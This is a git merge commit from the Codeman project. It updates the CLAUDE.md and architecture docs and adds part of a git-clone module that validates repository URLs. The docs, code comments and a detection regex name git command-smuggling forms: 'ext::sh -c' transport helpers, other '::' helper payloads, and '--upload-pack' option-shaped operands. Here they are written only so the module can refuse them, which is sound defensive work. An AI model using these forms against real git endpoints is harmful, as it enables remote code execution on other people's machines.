Merge remote-tracking branch 'origin/master' into feat/readmymind-phase2

# Conflicts:
#	CLAUDE.md
This commit is contained in:
Codeman maintainer
2026-08-10 00:45:59 +02:00
16 changed files with 2559 additions and 39 deletions
+6 -4
View File
@@ -43,7 +43,7 @@ This file provides guidance to Claude Code (claude.ai/code) when working with co
2. **Frontend changes**: Use Playwright to load the page and assert the UI renders correctly. Use `waitUntil: 'domcontentloaded'` (not `networkidle` — SSE keeps the connection open). Wait 3-4s for polling/async data to populate, then check element visibility, text content, and CSS values
3. **Only after verification passes**, proceed with COM
The production server caches static files for 1 year, `immutable` (`maxAge: '1y'` in `server.ts`). To avoid stale frontend after a deploy, `renderIndexHtml` runs `cacheBustAssets(html)` — it appends `?v=<mtime>` to **every same-origin `.js`/`.css`** reference (mtime memoized ~1s so a burst of renders is cheap; external/already-versioned/missing refs untouched). Because `index.html` is served `no-cache`, a **normal reload now picks up edited modules/styles — no hard refresh needed** (the gesture bundle is injected separately with its own `?v=`). If you add an asset referenced by an _absolute_ URL or from JS rather than a `<script>/<link>` tag, it won't be auto-busted.
The production server caches static files for 1 year, `immutable` (`maxAge: '1y'` in `server.ts`). To avoid stale frontend after a deploy, `renderIndexHtml` runs `cacheBustAssets(html)` — it appends `?v=<mtime>` to **every same-origin `.js`/`.css`** reference (mtime memoized ~1s so a burst of renders is cheap; external/already-versioned/missing refs untouched). Because `index.html` is served `no-cache`, a **normal reload now picks up edited modules/styles — no hard refresh needed** (the gesture bundle is injected separately with its own `?v=`). If you add an asset referenced by an _absolute_ URL or from JS rather than a `<script>/<link>` tag, it won't be auto-busted. ⚠️ **`index.html` itself is the exception: it is read ONCE into `indexHtmlTemplate` in the `WebServer` constructor**, so editing markup in dev needs a server restart (edited `.js`/`.css` do not) — otherwise you debug a "CSS class that doesn't apply" that is really an element still missing from the served HTML.
## COM Shorthand (Deployment)
@@ -124,10 +124,10 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph
- **ESM only** — Never `require()`, use `await import()`. `tsx` masks CJS/ESM issues in dev but production breaks
- **Package ≠ product name** — npm: `aicodeman`, product: **Codeman**. Release renames tags accordingly. Both `aicodeman` and `codeman` bin aliases are installed (`package.json` `bin`)
- **Global regex `lastIndex`** — Shared `g`-flag patterns in loops must reset `lastIndex = 0` first, or use the `execPattern()` helper in `utils/regex-patterns.ts` (resets automatically)
- **`envOverrides` flow `CLAUDE_CODE_*` / `OPENCODE_*` / `CODEX_*` / `GEMINI_*` / `GOOGLE_*` / `ANTIGRAVITY_*` env vars** — Set via `POST /api/sessions { envOverrides }`, stored on `Session._envOverrides`, exported by `tmux-manager.buildEnvExports()` at spawn time, persisted in `SessionState.envOverrides`. **Do NOT** write these to `<case>/.claude/settings.local.json` — that's the old path and creates UI/disk drift. (`GOOGLE_*` is the deliberately-broad Vertex-AI namespace for Gemini — see Multi-CLI prefix discipline.)
- **`envOverrides` flow `CLAUDE_CODE_*` / `OPENCODE_*` / `CODEX_*` / `GEMINI_*` / `GOOGLE_*` / `ANTIGRAVITY_*` env vars, plus exact-key `CLAUDE_CONFIG_DIR`** — Set via `POST /api/sessions { envOverrides }`, stored on `Session._envOverrides`, exported by `tmux-manager.buildEnvExports()` at spawn time, persisted in `SessionState.envOverrides`. **Do NOT** write these to `<case>/.claude/settings.local.json` — that's the old path and creates UI/disk drift. (`GOOGLE_*` is the deliberately-broad Vertex-AI namespace for Gemini — see Multi-CLI prefix discipline.) `CLAUDE_CONFIG_DIR` (#255, exact match via `ALLOWED_ENV_KEYS` in `schemas.ts`) points a session at a separate Claude account/config dir for per-client subscriptions; it persists to state.json (a path, not a secret; losing it on restart would silently switch accounts). ⚠️ A relocated config dir writes transcripts outside `~/.claude/projects`, so the response viewer, subagent windows, ultracode panel and Read My Mind capture go blind for that session unless the user symlinks `projects` back into the shared tree (`ln -s ~/.claude/projects <configDir>/projects`). → [architecture-invariants#per-session-env-overrides-exact-key-allowlist-and-claude_config_dir](docs/architecture-invariants.md#per-session-env-overrides-exact-key-allowlist-and-claude_config_dir)
- **Effort is NOT an env var** — never carry effort as `CLAUDE_CODE_EFFORT_LEVEL`: the env var hard-locks effort and blocks in-session `/effort` switching (incl. ultracode). It flows as the dedicated `effort` payload field → `Session._effort` → `claude --effort <level>` for regular levels incl. `max` (the settings `effortLevel` key is `enum(["low","medium","high","xhigh"]).catch(undefined)` — `max` gets SILENTLY dropped there), or `claude --settings '{"ultracode":true}'` for ultracode (rejected by `--effort`). Both are soft defaults the user can override anytime. Legacy env-var entries are auto-migrated by the Session constructor and unset from tmux sessions in `applyEnvOverrides()`. See `buildEffortCliArgs()` in `session-cli-builder.ts`, tests in `test/effort-injection.test.ts`
- **Model choice flows via `settings.local.json`, NOT `--model` or env** — the App Settings **Claude Model** picker (`claudeModel` in `settings.json`) is read by `session-ui.js` at session create (wins over the legacy 1M-Opus toggles `opusContext1m`/`opusContext1mEnabled`), sent as the `modelOverride` payload field, and `updateCaseModel()` (`hooks-config.ts`) writes/deletes the `model` key in `<case>/.claude/settings.local.json`. This is the intended exception to the envOverrides rule above: model legitimately lives in `settings.local.json` (a soft default — in-session `/model` still works); env vars do not
- **Multi-CLI prefix discipline** — env-var prefix is CLI-specific (`CLAUDE_CODE_*` vs `OPENCODE_*` vs `CODEX_*` vs `GEMINI_*` vs `ANTIGRAVITY_*`) and the `ALLOWED_ENV_PREFIXES` allowlist in `schemas.ts` enforces this. Gemini additionally allowlists the **broad `GOOGLE_*`** namespace (intentional: Vertex AI auth needs `GOOGLE_CLOUD_PROJECT`/`GOOGLE_APPLICATION_CREDENTIALS`/`GOOGLE_GENAI_USE_VERTEXAI`; it is the loosest allowlist entry, affecting only the user's own spawned CLI). When adding a setting, decide which CLI(s) it applies to and gate the env export accordingly. Never blanket-forward all prefixes. Resolver design pattern: `docs/opencode-integration.md`
- **Multi-CLI prefix discipline** — env-var prefix is CLI-specific (`CLAUDE_CODE_*` vs `OPENCODE_*` vs `CODEX_*` vs `GEMINI_*` vs `ANTIGRAVITY_*`) and the `ALLOWED_ENV_PREFIXES` allowlist in `schemas.ts` enforces this; non-prefix exceptions are exact keys in `ALLOWED_ENV_KEYS` (currently only `CLAUDE_CONFIG_DIR`), never a widened prefix. Gemini additionally allowlists the **broad `GOOGLE_*`** namespace (intentional: Vertex AI auth needs `GOOGLE_CLOUD_PROJECT`/`GOOGLE_APPLICATION_CREDENTIALS`/`GOOGLE_GENAI_USE_VERTEXAI`; it is the loosest allowlist entry, affecting only the user's own spawned CLI). When adding a setting, decide which CLI(s) it applies to and gate the env export accordingly. Never blanket-forward all prefixes. Resolver design pattern: `docs/opencode-integration.md`
- **Zod `.optional()` rejects `null`** — accepts `undefined` only. When the frontend builds a request body with `JSON.stringify`, an explicit `null` field is preserved on the wire and fails validation with `INVALID_INPUT`. Convert `null` → `undefined` before stringifying (e.g. `field: value ?? undefined`), or declare the schema `.nullish()`. This has caused real shipped bugs twice
- **`xterm-zerolag-input` is single-source** — BOTH echo addons live ONLY in `packages/xterm-zerolag-input/src/`, bundled into TWO **gitignored** vendor files: `vendor/xterm-zerolag-input.js` (buffer overlay, entry `zerolag-input-addon.ts`) and `vendor/xterm-predictive-echo.js` (codex write-through, entry `predictive-echo-addon.ts`) — dev by `scripts/postinstall.js`, prod by `scripts/build.mjs`. `app.js`/terminal-ui.js only **consume** them via `new LocalEchoOverlay(terminal)` / `new PredictiveEchoOverlay(terminal)`; there is no inline copy. So: change the package source, then rerun the bundle step (`npm install` for dev, `npm run build` for prod). **Never hand-edit `app.js` for overlay behavior, and never commit the gitignored vendor bundles.** Always test on mobile after touching it. → [architecture-invariants#xterm-zerolag-input-is-single-source](docs/architecture-invariants.md#xterm-zerolag-input-is-single-source), `docs/local-echo-overlay-plan.md`
- **Default bind is loopback-only; non-loopback without a password starts but warns** — the server defaults to `--host 127.0.0.1`. Binding non-loopback (`--host`/`-H`/`CODEMAN_HOST`) without `CODEMAN_PASSWORD` starts anyway but prints a loud warning; `--allow-unauthenticated-network` / `CODEMAN_ALLOW_UNAUTHENTICATED_NETWORK=1` acknowledges it. ⚠️ The production systemd unit passes no `--host`, so prod binds **localhost only**: reach it via `tailscale serve`/tunnel to `127.0.0.1`. A loopback bind is reachable through a same-host tunnel but NOT by a browser hitting the box's LAN IP. `install.sh` is separate and prompts for the binding (defaulting to LAN + a password), and preserves the existing binding on re-runs. → [architecture-invariants#default-bind-and-the-non-loopback-warning-path](docs/architecture-invariants.md#default-bind-and-the-non-loopback-warning-path), `docs/security-architecture.md`
@@ -232,6 +232,8 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph
**Ultracode / workflow-run visualization** (opt-in, default OFF): the Workflow tool writes a completion artifact only at run *end*, so live in-flight runs exist solely as transcript dirs. `workflow-run-watcher.ts` therefore synthesizes ACTIVE runs from transcripts until the completion artifact appears and supersedes them. It is **STANDALONE** and deliberately never imports or touches `subagent-watcher.ts`, despite reading the same tree. Two independent toggles: `showUltracodeAgents` (docked panel) and `ultracodeFloatingWindows` (floating windows); the watcher starts if **either** is on. → [architecture-invariants#ultracode--workflow-run-visualization](docs/architecture-invariants.md#ultracode-and-workflow-run-visualization)
**Clone a repository as a case** (issue #236, Add Case → **Clone Repo**): `POST /api/cases/clone` clones a public repo into the caller's case space synchronously (request held open, bounded by `GIT_CLONE_TIMEOUT_MS`, no job store); `POST /api/cases/clone-preflight` reports whether the URL can be cloned anonymously plus its real branches/tags. Core in `src/git-clone.ts`. ⚠️ **The URL is a code-execution surface**: `ext::sh -c <cmd>` (and ANY `<name>::<payload>` helper) makes git run a command, so every `::` form is refused, a leading `-` is refused, and every spawn is an argv array with `--` before the operands. ⚠️ **Non-interactive or the open request hangs** — `gitNonInteractiveEnv()` closes the terminal/askpass/ssh/GCM prompt paths; `HOME`/`PATH` stay inherited, so a user's OWN credential helper may authenticate (Codeman still never collects or stores credentials, and refuses a `user:password@` URL). ⚠️ Timeout kills the process GROUP (clone fans out into child processes), the destination is removed only if this attempt created it, and repository contents win over scaffolding (existing `CLAUDE.md` kept, hooks merged, repo-shipped `.claude/settings*` reported as a warning since its hooks run locally). The **Brain** picker sets the toolbar run mode on success. → [architecture-invariants#clone-a-repository-as-a-case](docs/architecture-invariants.md#clone-a-repository-as-a-case)
**Cross-session search**: `GET /api/search` federates an in-memory search over session metadata, run-summary events, and attachment-history entries. The pure core `searchSources()` does substring matching with hard per-type caps: **no regex (so no ReDoS) and no filesystem reads (so no traversal)**. The server-private `externalPath` is never read. → [architecture-invariants#cross-session-search](docs/architecture-invariants.md#cross-session-search)
**Web tabs** (dashboard URLs as tabs): a saved URL renders as a tab beside agent sessions. **NOT a sixth `SessionMode`** (no PTY, no tmux, no respawn), same reasoning that keeps Docker/remote-SSH as case overlays. Dashboards are **proxied through Codeman's own origin** by default, because a direct iframe fails three ways at once: prod is HTTPS so `http://` targets are blocked as mixed content, many dashboards send `X-Frame-Options: DENY`, and our own `default-src 'self'` CSP blocks cross-origin frames. Proxying leaves the prod CSP unchanged (`/webview/...` is `'self'`). ⚠️ The proxy is **NOT an API surface**: it authenticates on an in-memory capability in the path and is correspondingly exempt from the cookie + Origin checks; that exemption is fenced to safe methods and non-`/api` paths and is pinned by `test/webview-auth-exemption.test.ts`. ⚠️ Iframes omit `allow-same-origin` unless a dashboard is explicitly marked `trusted`, and `Authorization`/`codeman_session` are stripped upstream in **both** modes so `CODEMAN_PASSWORD` cannot leak. ⚠️ A sandboxed frame is **opaque-origin**, which breaks two things `curl` can never reproduce: its runtime-built root-absolute URLs escape `<base>` (fixed by an injected `runtimeUrlShim()`), and its same-host `fetch`/XHR are CORS-checked with `Origin: null` (fixed by `buildProxyCorsHeaders()` plus exempting the proxy from the global `OPTIONS`-204 short-circuit in `registerSecurityHeaders`). Both present as the dashboard's own "Failed to fetch" while the page renders fine. → [architecture-invariants#web-tabs](docs/architecture-invariants.md#web-tabs), `docs/web-tabs.md`
@@ -308,7 +310,7 @@ Frontend JS modules have `@fileoverview` with `@dependency`/`@loadorder` tags. L
### API Routes
~200 handlers across 23 route files in `src/web/routes/`: system (45), sessions (34), cases (27), files (16), orchestrator (10), ralph (9), cron (9), admin (8), plan (8), respawn (7), webviews (6 + the `/webview/:cap/*` proxy), mux (5), push (4), scheduled (4, legacy `ScheduledRun`), approvals (3), readmymind (4), me (2), teams (2), search (1), hooks (1), clipboard (1), status-telemetry (1), ws (1 WebSocket). Each file has `@fileoverview` with endpoint details.
~200 handlers across 23 route files in `src/web/routes/`: system (45), sessions (34), cases (29), files (16), orchestrator (10), ralph (9), cron (9), admin (8), plan (8), respawn (7), webviews (6 + the `/webview/:cap/*` proxy), mux (5), push (4), scheduled (4, legacy `ScheduledRun`), approvals (3), readmymind (4), me (2), teams (2), search (1), hooks (1), clipboard (1), status-telemetry (1), ws (1 WebSocket). Each file has `@fileoverview` with endpoint details.
**HTTP contract** (stable since 0.9.x, see `docs/versioning-policy.md`; full envelope/status/error-code/SSE spec in `docs/api-reference.md`): responses use the `ApiResponse<T>` envelope — `{ success: true, data? }` or `{ success: false, error, errorCode }` (`src/types/api.ts`). `/api/v1/*` is a versioned alias of `/api/*` (URL rewrite in `server.ts`).
+19
View File
@@ -42,6 +42,10 @@ Implementation detail extracted from `CLAUDE.md` so that file stays small enough
**Input**: `session.writeViaMux()` for programmatic/curl input — tmux `send-keys -l` (literal) + `send-keys Enter`. Single-line only (fire-and-once). Interactive **browser** input goes through a durable **exactly-once** layer: each frame carries a stable `clientId` + monotonic per-session `seq`, persisted to localStorage until the server ACKs (`{t:'ia',seq}` over WS, or HTTP 2xx), so a dropped link/reconnect can't lose or double-deliver a prompt. **WS resilience** (#149): the upgrade URL carries `cid = clientId + ':' + perTabNonce`, and `ws-connection-registry.ts` supersedes only same-TAB reconnects (two tabs on one session coexist; input frames keep the bare `clientId` for seq dedup); reconnects back off exponentially (attempts preserved across `_connectWs`), and the header connection chip renders from a real `_wsState` lifecycle (`connecting`/`connected`/`fallback`/`reconnecting`/`disconnected`).
### Per-session env overrides: exact-key allowlist and CLAUDE_CONFIG_DIR
**The env allowlist has two tiers, and exceptions go in the exact-key tier, never a widened prefix** (#255): `ALLOWED_ENV_PREFIXES` in `src/web/schemas.ts` carries the CLI-namespace prefixes, and `ALLOWED_ENV_KEYS` carries exact keys (currently only `CLAUDE_CONFIG_DIR`). `CLAUDE_CONFIG_DIR` relocates the Claude CLI's user config (credentials, settings, stats), which is how one machine runs sessions on separate Claude subscriptions: point a case's sessions at e.g. `~/.claude-clients/acme` via `envOverrides` and run `/login` there once against the client's account. The exact match matters: `CLAUDE_` as a prefix would open every future Claude CLI variable unreviewed, and near-misses (`CLAUDE_CONFIG_DIR_EXTRA`) stay rejected (`test/env-overrides-schema.test.ts`). No new security boundary is crossed: sessions already run as the server's OS account, and `applyEnvOverrides()` shellescapes values into socket-scoped `tmux setenv`. Two carry rules: **(1)** the key must survive `getEnvOverridesForPersist()` in `session.ts` (it is a path, not a secret; dropping it from state.json would silently move a rebuilt-after-reboot session back to the default account); **(2)** ⚠️ a relocated config dir writes transcripts outside `homedir()/.claude/projects`, which `subagent-watcher.ts`, `workflow-run-watcher.ts`, the response-viewer routes and Read My Mind capture all hardcode — those surfaces go blind for such a session. Documented workaround: symlink the transcripts back into the shared tree (`ln -s ~/.claude/projects <configDir>/projects`), keeping credentials separate while the watchers keep working.
### Agent wait primitives
**Agent wait primitives** (`GET /api/sessions/:id/wait`, `GET /api/sessions/:id/wait-output`, and the `wait`/`waitTimeout` fields on `POST /api/sessions/:id/input`): bounded long-polls that let an agent driving Codeman from a shell tool block until something happens. They exist because SSE was the only "tell me when" channel Codeman had, and a curl-driven caller cannot practically hold a stream and parse events inline. The blocking core is `src/web/session-wait-registry.ts` (no IO, no `Session` reference, so it unit-tests in isolation), bounds live in `src/config/agent-wait.ts`, and the wiring is three `notifySignal()` calls next to existing broadcasts (`session-listener-wiring.ts` for `working`/`idle`/`exit`, `hook-event-routes.ts` for `stop`/`blocked`) plus `notifyOutput()` riding the already-attached `terminal` listener. Design: `docs/agent-control-plan.md` §3; wire contract: `docs/api-reference.md`.
@@ -130,6 +134,21 @@ The general rule: **any new endpoint that turns a caller-supplied `sessionId` in
Tests: `test/file-editing-policy.test.ts` (pure policy), `test/routes/file-write-routes.test.ts` (deliberately **unmocked fs** against a real temp workspace — symlink/TOCTOU/mode behavior must be exercised for real).
### Clone a repository as a case
**Clone Repo tab** (issue #236, proposed by @DodgyBadger): `POST /api/cases/clone` clones a public repository into the caller's case space and registers it as a normal local case; `POST /api/cases/clone-preflight` answers "can this be cloned anonymously, and what refs does it have?" while the user is still typing. Core in `src/git-clone.ts`, split into a PURE half (URL parse, argv/env, `ls-remote` parse, stderr classification) and a thin IO half (`probeGitRemote`, `cloneRepository`).
- ⚠️ **The URL is a code-execution surface, which is why it is parsed rather than forwarded.** `ext::sh -c <cmd>` makes git run an arbitrary command as its transport, and ANY `<name>::<payload>` dispatches to a `git-remote-<name>` helper, so every `::` form is refused outright. A repository starting with `-` is read by git as a flag; that is rejected AND every spawn puts `--` before the operands, because either defence alone is one edit away from being a hole. Spawns are argv arrays, never a shell (unlike `remote-hosts.ts`, which does build a shell line and must `shellescape`). The Zod schema deliberately only length-bounds `repository` — a weaker regex duplicate of `parseGitRepositoryUrl` would be the copy that drifts.
- ⚠️ **Non-interactive or it hangs the request.** The clone is synchronous by design (no job store, no polling, no cancellation surface), so an invisible credential prompt would pin an open HTTP request until the timeout. `gitNonInteractiveEnv()` closes all four prompt paths at once: `GIT_TERMINAL_PROMPT=0`, empty `GIT_ASKPASS`/`SSH_ASKPASS` + `SSH_ASKPASS_REQUIRE=never` + empty `DISPLAY`, `GCM_INTERACTIVE=never`, and `ssh -oBatchMode=yes`. `HOME`/`PATH` are inherited on purpose — a user whose own agent or credential helper already works keeps working (so a private repo may well clone; Codeman just never collects or stores credentials, and refuses a `user:password@` URL).
- ⚠️ **Bounded in time, output and concurrency.** Timeout → SIGTERM → SIGKILL, signalled to the whole process GROUP (`detached: true`, negative pid) because `git clone` fans out into `git-remote-https`/`index-pack` children that a polite signal to the parent leaves running. stderr is kept as a bounded, credential-redacted, control-stripped TAIL; `ls-remote` stdout is capped and refs are capped at 500 each. A small global pool (default 2, `CODEMAN_MAX_GIT_OPERATIONS`) caps concurrent git network ops, same reasoning as `document-conversion-limiter.ts`.
- **Repository contents beat scaffolding.** An existing `CLAUDE.md` is kept (a generated one is written only when absent) and hooks are MERGED into whatever `.claude/settings.local.json` the repo shipped. A repo that ships its own `.claude/settings*.json` is reported back as a warning, because repo-supplied hooks run on the user's machine as soon as a session starts there.
- **Failure leaves nothing behind.** The destination is removed only when it did not exist before the attempt, and a pre-existing directory is refused rather than cloned into, so a failed clone never squats on a case name and never touches an existing tree.
- ⚠️ **Error detail comes from the LAST diagnostic line, not the first.** `git clone` opens with `Cloning into '<dest>'…`, so a first-line pick reported the destination path as the reason a bad branch failed (observed against a real remote). `NOT_FOUND` wording must also say "or private": GitHub answers "Repository not found" for a private repo and a typo alike when unauthenticated.
- **Multi-user**: NOT admin-gated, unlike `/api/cases/link` — it writes only inside the caller's own `resolveCasesDir`. The exception is a `local`-transport source (an absolute path or `file://`), which is admin-only there because per-user spaces live inside one `$HOME` and a local clone would read straight through that boundary.
- **UI** (`case-clone` tab in the Add Case modal): debounced preflight paints a verdict under the field, fills the case name from the parsed repo (until the user types their own), and turns the branch/tag field into a datalist of the remote's real refs. The **Brain** picker sets the toolbar run mode on success (gated by `isCliAvailable()`, like `#runModeMenu`), so Run already points at the chosen CLI; starting a session stays opt-in. The tab hides itself when the server reports no `git` (injected via `window.__codemanCliAvailable`).
Tests: `test/git-clone.test.ts` (pure half exhaustively, plus REAL git against a REAL local bare repo for clone/ref/timeout/cleanup), `test/routes/case-clone-routes.test.ts` (deliberately **unmocked fs**, real clone through the endpoint).
### Ultracode and workflow-run visualization
**Ultracode / Workflow-run visualization** (opt-in `showUltracodeAgents`, default OFF; released 1.1.2): the Workflow tool ("ultracode") writes a COMPLETION artifact per run at `~/.claude/projects/<projHash>/<sessionUuid>/workflows/wf_*.json` (written only at run end); LIVE in-flight runs exist only as transcript dirs at `…/subagents/workflows/wf_<id>/` (journal.jsonl + `agent-*.jsonl`). `workflow-run-watcher.ts` (STANDALONE — deliberately never imports/touches `subagent-watcher.ts`; separate singleton, though it independently reads the same `subagents/workflows/` tree) scans BOTH sources via periodic poll + per-directory chokidar watchers with per-source mtime skip (LRU agentStatCache + journalCache), synthesizing ACTIVE runs (live per-agent tokens/tools/state from transcripts, title/phases from the workflow script) until the completion `wf_*.json` appears and supersedes, and broadcasts SSE `workflow:run_discovered`/`run_updated`/`run_removed`. The watcher is started when **either** `showUltracodeAgents` **or** `ultracodeFloatingWindows` is on (`server.ts` `isWorkflowAgentTrackingEnabled()` returns `(showUltracodeAgents ?? false) || (ultracodeFloatingWindows ?? false)`). Served via `GET /api/workflows` (optional `?minutes=` filter) and `GET /api/workflows/:runId`. Frontend `ultracode-panel.js` renders a docked master-detail view (LEFT: runs + phases; RIGHT: per-agent tokens + tool-calls; click an agent card → its live transcript via client-side `agentId` join). **Additionally**, `ultracode-windows.js` auto-pops a draggable **floating window per active run** (gated on a **DEDICATED** `ultracodeFloatingWindows` toggle, default OFF — independent of the dock panel's `showUltracodeAgents`; see `_ultracodeFloatingEnabled()`), connected by a glowing line to the originating session tab (resolved by `session.claudeSessionId === run.sessionUuid`) — same line idiom as subagent windows, drawn into the shared `#connectionLines` SVG from the tail of `_updateConnectionLinesImmediate`. The window auto-closes ~8s after its run finishes; explicit dismissals are remembered. Clicking an agent card opens an **in-page** connected transcript window (not a browser popup); both run and transcript windows minimize **into** the originating session tab as a merged `ULTRA` badge (🧬 runs / 📄 transcripts) with a restore/dismiss dropdown — minimized runs are skipped by auto-pop. Gesture beta: floating subagent/ultracode windows are pinch-draggable (a `window` grab kind in `entry.ts`). Types: `src/types/workflow-run.ts`. Config: `src/config/workflow-config.ts`.
+884
View File
@@ -0,0 +1,884 @@
/**
* @fileoverview Clone a Git repository into a case (issue #236).
*
* Split deliberately into a PURE half (URL parsing, argv/env construction,
* `ls-remote` output parsing, git-stderr classification) and a thin IO half
* (`probeGitRemote`, `cloneRepository`). The pure half is where every security
* decision lives, so it is unit-testable without spawning anything.
*
* ## Why the URL is parsed rather than passed through
*
* `git clone` accepts far more than "a URL". Two families are dangerous:
*
* - **Transport helpers** — `ext::sh -c <cmd>` makes git execute an arbitrary
* command as the transport. `fd::`, and any other `<name>::<payload>` form,
* dispatch to a `git-remote-<name>` helper. A clone endpoint that forwards
* these is remote code execution, so `::` forms are rejected outright.
* - **Option-shaped operands** — a repository starting with `-` is read by git
* as a flag (`--upload-pack=...`). We reject leading `-` AND pass `--` before
* the operands, because either alone is one typo away from being a hole.
*
* Everything is spawned with an argv array and NEVER through a shell, so quoting
* is not part of the threat model here (unlike the ssh path in remote-hosts.ts,
* which genuinely does build a shell line and must `shellescape`).
*
* ## Credentials are deliberately absent
*
* Codeman collects no tokens, and a URL carrying `user:password@` is rejected —
* it would end up in error text, logs and (via the case name suggestion) the UI.
* `GIT_TERMINAL_PROMPT=0` plus the askpass/BatchMode env below guarantees a
* private repo fails FAST instead of hanging the open HTTP request on an
* invisible username prompt. If the host's own git config (a credential helper,
* an ssh agent, `insteadOf` rules) happens to authenticate, that is the user's
* existing setup working — Codeman neither supplies nor stores anything.
*
* ## Bounded by construction
*
* Every git spawn has a timeout, a hard kill escalation, captured-output caps,
* and shares a small global concurrency pool (same reasoning as
* `document-conversion-limiter.ts`: N simultaneous clones of large repos is a
* localhost resource-exhaustion vector). The pool's waiter queue is itself
* bounded (overflow answers BUSY immediately), and time spent queued counts
* against the operation's own deadline, so a caller's timeout bounds the whole
* call rather than starting when a slot happens to free up. Cloning is
* otherwise unbounded in disk and time, which is exactly why the caller must
* treat the timeout as normal.
*
* @module git-clone
*/
import { spawn, execFileSync } from 'node:child_process';
import { randomBytes } from 'node:crypto';
import { existsSync } from 'node:fs';
import { rename, rm } from 'node:fs/promises';
import { basename, dirname, join } from 'node:path';
import { EXEC_TIMEOUT_MS } from './config/exec-timeout.js';
// ─── Tunables ────────────────────────────────────────────────────────────────
/** Read a positive-integer env override, clamped into [min, max]. */
function envMs(name: string, fallback: number, min: number, max: number): number {
const raw = Number(process.env[name]);
if (!Number.isFinite(raw) || raw <= 0) return fallback;
return Math.min(max, Math.max(min, Math.floor(raw)));
}
/**
* Wall-clock budget for one `git clone`. Deliberately generous (a real repo over
* a slow link legitimately takes minutes) but always finite: the HTTP request is
* held open for the duration, so an unbounded clone would be an unbounded
* request. Override with CODEMAN_GIT_CLONE_TIMEOUT_MS.
*/
export const GIT_CLONE_TIMEOUT_MS = envMs('CODEMAN_GIT_CLONE_TIMEOUT_MS', 300_000, 10_000, 3_600_000);
/**
* Budget for the `ls-remote` preflight. Short on purpose — it exists to answer
* "can this be cloned without credentials?" while the user is still typing.
* Override with CODEMAN_GIT_LS_REMOTE_TIMEOUT_MS.
*/
export const GIT_LS_REMOTE_TIMEOUT_MS = envMs('CODEMAN_GIT_LS_REMOTE_TIMEOUT_MS', 20_000, 2_000, 120_000);
/** Concurrent git network operations allowed process-wide. Override with CODEMAN_MAX_GIT_OPERATIONS. */
const MAX_CONCURRENT_GIT_OPERATIONS = (() => {
const raw = Number(process.env.CODEMAN_MAX_GIT_OPERATIONS);
return Number.isFinite(raw) && raw >= 1 ? Math.floor(raw) : 2;
})();
/**
* Waiters allowed BEHIND the pool before new work is refused outright with
* BUSY. Without a bound, every queued request holds its HTTP connection (and
* its closure) open indefinitely, so a burst of clone requests becomes the
* memory/socket exhaustion the pool exists to prevent. Override with
* CODEMAN_MAX_GIT_QUEUE (0 disables queuing entirely).
*/
const MAX_QUEUED_GIT_OPERATIONS = (() => {
const raw = Number(process.env.CODEMAN_MAX_GIT_QUEUE);
return Number.isFinite(raw) && raw >= 0 ? Math.floor(raw) : 16;
})();
/** Longest accepted repository operand. Real URLs are far shorter; this bounds abuse. */
const MAX_REPOSITORY_LENGTH = 2048;
/** Longest accepted branch/tag. git's own limit is much higher; 200 covers every real ref. */
const MAX_REF_LENGTH = 200;
/** Captured stderr returned to the client, in bytes (the tail is the useful part). */
const MAX_STDERR_BYTES = 8_192;
/** Captured `ls-remote` stdout. A busy monorepo can list tens of thousands of refs. */
const MAX_LS_REMOTE_BYTES = 2_000_000;
/** Refs of each kind surfaced to the UI picker. */
const MAX_REFS_RETURNED = 500;
// ─── Types ───────────────────────────────────────────────────────────────────
/** Transports Codeman is willing to hand to git. */
export type GitTransport = 'https' | 'http' | 'ssh' | 'git' | 'local';
export type GitUrlRejectionCode =
| 'EMPTY'
| 'TOO_LONG'
| 'CONTROL_CHARS'
| 'OPTION_LIKE'
| 'TRANSPORT_HELPER'
| 'UNSUPPORTED_TRANSPORT'
| 'CREDENTIALS_IN_URL'
| 'NO_REPOSITORY_NAME'
| 'BAD_SYNTAX';
/** A repository operand Codeman is willing to clone. */
export interface GitUrlAccepted {
cloneable: true;
/** The exact operand handed to git, after `--`. Never shell-interpolated. */
repository: string;
transport: GitTransport;
/** Hostname (empty for `local`). */
host: string;
/** Owner/org path prefix, `/`-joined; empty when the URL has none. */
owner: string;
/** Final path segment with any `.git` suffix removed. */
repo: string;
/** Display label for the host, e.g. `GitHub`. Falls back to the bare host. */
provider: string;
/** Case-name suggestion derived from `repo`; `''` when nothing usable survives. */
suggestedName: string;
/** Non-blocking advisories to show next to the input. */
warnings: string[];
}
/** A repository operand Codeman refuses, with the reason to show the user. */
export interface GitUrlRejected {
cloneable: false;
code: GitUrlRejectionCode;
/** User-facing, safe to render as text. */
message: string;
}
export type GitUrlParse = GitUrlAccepted | GitUrlRejected;
/** What `ls-remote` told us about a remote. */
export interface GitRemoteProbe {
reachable: boolean;
/** Branch `HEAD` points at, when the remote advertises a symref. */
defaultBranch?: string;
branches: string[];
tags: string[];
/** Set when `reachable` is false. */
failure?: GitFailure;
/** True when refs were dropped to stay under the surfaced-refs cap. */
truncated?: boolean;
}
export type GitFailureCode =
| 'GIT_MISSING'
| 'TIMEOUT'
| 'AUTH_REQUIRED'
| 'NOT_FOUND'
| 'REF_NOT_FOUND'
| 'HOST_UNREACHABLE'
| 'DESTINATION_EXISTS'
| 'BUSY'
| 'FAILED';
export interface GitFailure {
code: GitFailureCode;
/** User-facing summary. */
message: string;
/** Tail of git's own stderr, control-stripped and credential-redacted. */
stderr: string;
}
export interface CloneOptions {
/** Pre-validated operand from `parseGitRepositoryUrl`. */
repository: string;
/** Absolute destination directory. Must NOT exist; created by git. */
destination: string;
/** Optional branch or tag (`--branch <ref> --single-branch`). */
ref?: string;
/** `--depth 1`: history-less but much faster on large repos. */
shallow?: boolean;
timeoutMs?: number;
}
export type CloneResult = { ok: true; stderr: string } | { ok: false; failure: GitFailure };
// ─── Pure: repository URL parsing ────────────────────────────────────────────
/** Hosts worth naming in the UI. Anything else shows its bare hostname. */
const PROVIDER_LABELS: Record<string, string> = {
'github.com': 'GitHub',
'www.github.com': 'GitHub',
'gist.github.com': 'GitHub Gist',
'gitlab.com': 'GitLab',
'bitbucket.org': 'Bitbucket',
'codeberg.org': 'Codeberg',
'git.sr.ht': 'SourceHut',
'dev.azure.com': 'Azure DevOps',
'ssh.dev.azure.com': 'Azure DevOps',
'huggingface.co': 'Hugging Face',
};
/** `scheme://` prefix. */
const SCHEME_RE = /^([a-zA-Z][a-zA-Z0-9+.-]*):\/\//;
/** `<helper>::<payload>` — git transport helper dispatch (includes `ext::`). */
const TRANSPORT_HELPER_RE = /^[a-zA-Z0-9][a-zA-Z0-9+.-]*::/;
